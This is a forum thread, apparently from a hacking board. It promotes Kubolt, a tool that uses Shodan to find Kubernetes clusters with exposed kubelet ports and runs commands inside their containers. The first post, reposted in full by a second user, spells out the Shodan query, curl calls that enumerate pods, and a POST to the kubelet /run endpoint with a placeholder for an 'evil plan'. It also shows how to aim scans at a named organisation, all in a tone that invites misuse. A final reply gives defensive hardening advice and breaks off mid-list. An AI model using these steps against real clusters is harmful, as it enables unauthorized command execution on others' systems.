Kubolt - Utility For Scanning Public Kubernetes Clusters from crdcrew forum 2025

[Mr.Tom]

Kubolt: Messing with Unsecured Kubernetes Clusters (a.k.a. That Thing You Probably Shouldn’t Use on Random Servers)
Alright, here’s the lowdown:
What’s Kubolt?
Kubolt’s a nifty little gadget for snooping out those Kubernetes clusters people left way too exposed — you know, no login, just swing the door open. Not only does it find 'em, but, yeah, it runs stuff inside their containers, too. Think Shodan meets “oh crap, I forgot to lock the door.”
The Dirty Details
See, folks sometimes leave the kubelet port (10250) unlocked and, boy, Kubolt goes right in through that. Because, get this, Kubernetes has this getRun thing (devs will cringe) that literally lets you fire off commands inside their containers if you poke it just right.
Here, check out the sort of Go code Kubolt exploits:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
}

(Yeah. That’s not great.)
How does Kubolt do its thing?

1. Channel your inner hacker and grab the Shodan API key.
2. Kubolt pings Shodan — asks, “Hey, what boxes got kubelet running on port 10250 with ssl enabled, and love giving out 404 errors?” (The magic query: ssl:true port:10250 404)
3. It scoops up a bunch of IPs for further mischief.

Figuring Out If They’re Really Open
Next up, Kubolt checks which of those boxes are actually answering kubelet API calls and don’t cough up “Unauthorized” — gotta dodge those security basics, right?
Example call to see if something’s running:
curl -k https://<IP-from-Shodan>:10250/runningpods/

Pods not running? Whatever, Kubolt just makes a note. Maybe something pops up later. No biggie.
Then It Digs Up All Pods
You want a pod list? Easy:
curl -k https://<IP-from-Shodan>:10250/pods/

Or, hey, maybe they’re not even using SSL like it’s 2008:
curl http://<IP-from-Shodan>:10255/pods/

Now, For the Real Fun: Running Commands
Kubolt grabs pod/container info from that last call, then dreams up a request to do… literally whatever command you want:
curl -XPOST -k https://<IP-from-Shodan>:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<your-evil-plan>"

Want To Be Less Noisy? Targeted Scanning Is Your Friend
Don’t wanna nuke your Shodan credits or pull every unprotected cluster on the planet? Use filters:

• asn: Autonomous System Number
• org: The org name
• country: Pick your playground
• net: If you’re feeling picky by network

Example time:
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
python kubolt.py --query "org:'ACME Corporation' country:UK"

Getting This Bad Boy Up and Running
Basic prep:
mkdir output
pip install -r requirements.txt

Then it’s go time:
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
# Or
python kubolt.py --query "org:'ACME Corporation' country:UK"

Don’t be shocked if you burn through your Shodan API credits super quick, by the way. Not my problem.
Obligatory Legal Stuff
Seriously — Kubolt’s for educational/security testing only. Use it outside your lab and, well, don’t cry to me. If you break something, get sued, or find yourself on the wrong end of a tweetstorm, that’s on you.
Download Link? Here you go: [insert official repo or source here]
And, yeah, maybe double-check your own cluster is locked down? Just saying.

 

[Khakis]

Kubolt: Messing with Unsecured Kubernetes Clusters (a.k.a. That Thing You Probably Shouldn’t Use on Random Servers)
Alright, here’s the lowdown:
What’s Kubolt?
Kubolt’s a nifty little gadget for snooping out those Kubernetes clusters people left way too exposed — you know, no login, just swing the door open. Not only does it find 'em, but, yeah, it runs stuff inside their containers, too. Think Shodan meets “oh crap, I forgot to lock the door.”
The Dirty Details
See, folks sometimes leave the kubelet port (10250) unlocked and, boy, Kubolt goes right in through that. Because, get this, Kubernetes has this getRun thing (devs will cringe) that literally lets you fire off commands inside their containers if you poke it just right.
Here, check out the sort of Go code Kubolt exploits:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
}

(Yeah. That’s not great.)
How does Kubolt do its thing?

1. Channel your inner hacker and grab the Shodan API key.
2. Kubolt pings Shodan — asks, “Hey, what boxes got kubelet running on port 10250 with ssl enabled, and love giving out 404 errors?” (The magic query: ssl:true port:10250 404)
3. It scoops up a bunch of IPs for further mischief.

Figuring Out If They’re Really Open
Next up, Kubolt checks which of those boxes are actually answering kubelet API calls and don’t cough up “Unauthorized” — gotta dodge those security basics, right?
Example call to see if something’s running:
curl -k https://<IP-from-Shodan>:10250/runningpods/

Pods not running? Whatever, Kubolt just makes a note. Maybe something pops up later. No biggie.
Then It Digs Up All Pods
You want a pod list? Easy:
curl -k https://<IP-from-Shodan>:10250/pods/

Or, hey, maybe they’re not even using SSL like it’s 2008:
curl http://<IP-from-Shodan>:10255/pods/

Now, For the Real Fun: Running Commands
Kubolt grabs pod/container info from that last call, then dreams up a request to do… literally whatever command you want:
curl -XPOST -k https://<IP-from-Shodan>:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<your-evil-plan>"

Want To Be Less Noisy? Targeted Scanning Is Your Friend
Don’t wanna nuke your Shodan credits or pull every unprotected cluster on the planet? Use filters:

• asn: Autonomous System Number
• org: The org name
• country: Pick your playground
• net: If you’re feeling picky by network

Example time:
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
python kubolt.py --query "org:'ACME Corporation' country:UK"

Getting This Bad Boy Up and Running
Basic prep:
mkdir output
pip install -r requirements.txt

Then it’s go time:
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
# Or
python kubolt.py --query "org:'ACME Corporation' country:UK"

Don’t be shocked if you burn through your Shodan API credits super quick, by the way. Not my problem.
Obligatory Legal Stuff
Seriously — Kubolt’s for educational/security testing only. Use it outside your lab and, well, don’t cry to me. If you break something, get sued, or find yourself on the wrong end of a tweetstorm, that’s on you.
Download Link? Here you go: [insert official repo or source here]
And, yeah, maybe double-check your own cluster is locked down? Just saying.

Tools like Kubolt can discover and execute commands on unsecured kubelet ports (10250/10255). What are the most effective, practical steps DevOps and security teams should take right now to harden Kubernetes clusters against this class of remote-kubelet discovery/exploitation — including network controls, kubelet configuration, detection, and patching strategies?

 

[Bronchial]

Tools like Kubolt can discover and execute commands on unsecured kubelet ports (10250/10255). What are the most effective, practical steps DevOps and security teams should take right now to harden Kubernetes clusters against this class of remote-kubelet discovery/exploitation — including network controls, kubelet configuration, detection, and patching strategies?

Quick summary (TL;DR)

Close/limit access to kubelet ports (10250, 10255) - only firewall and SGs and private networks and VPN/bastion.

Turn off unsecure attributes (port 10255 read-only, anonymous auth).

Activate effective kubelet authz and auth (client certs, token webhook, RBAC).

Reference/replace kubelet certs and credentials and apply TLS.

Track and trace access to / pods, / run, /exec endpoints (Falco / eBPF / IDS), and signal anomalous kubelet traffic.

Patch and test regularly; conduct authorized scans / red-team tests.

1) Network controls - block discoveries (first priority).

If you do not trust them, make kubelet inaccessible.

Block direct internet access to port 10250 and port 10255.

Cloud: security groups / NSGs — reject 10250/10255 0.0.0.0/0.

On-prem: perimeter firewall rules and host firewall (iptables/nftables) to only accept management ranges that are trusted.

Enable private networking - only permit kubelets to communicate with the control plane on private/subnet networks.

Use a bastion/VPN or jump host to administer kubelet or API server instead of it being exposed to the open-internet.

Microsegmentation / Network Policies: CNI network policies are used to limit access between pods and hosts or between cross-namespace when necessary.

iptables: host firewall example: